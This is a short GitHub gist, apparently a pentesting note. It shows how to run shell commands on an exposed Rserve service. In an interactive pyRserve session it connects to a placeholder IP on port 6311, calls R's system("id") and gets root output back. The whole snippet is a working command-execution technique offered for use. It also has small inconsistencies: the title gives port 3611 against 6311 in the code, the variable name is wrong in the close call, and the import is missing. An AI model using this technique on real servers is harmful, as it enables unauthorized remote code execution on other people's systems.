Skip to content

Instantly share code, notes, and snippets.

@csandker
Created August 19, 2020 17:06
Show Gist options
  • Save csandker/c92382f1ff7d9b1a0bb100b3fece46ea to your computer and use it in GitHub Desktop.
Save csandker/c92382f1ff7d9b1a0bb100b3fece46ea to your computer and use it in GitHub Desktop.

Revisions

  1. csandker created this gist Aug 19, 2020.
    12 changes: 12 additions & 0 deletions CommandExec-RServe-TCP-3611.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,12 @@
    ## Install pyRserve
    $:> pip install pyRserve
    $:> python3
    >>> conn = pyRserve.connect('<IP>', 6311)
    >>> conn.eval("1+2") ## Testing the connection
    3.0
    >>> conn.eval('t1 <- try(system("id", intern = TRUE))') ## Command Exec
    'uid=0(root) gid=0(root) groups=0(root)'
    >>> con.close()

    ## pyRserve Docu
    ## https://pythonhosted.org/pyRserve/manual.html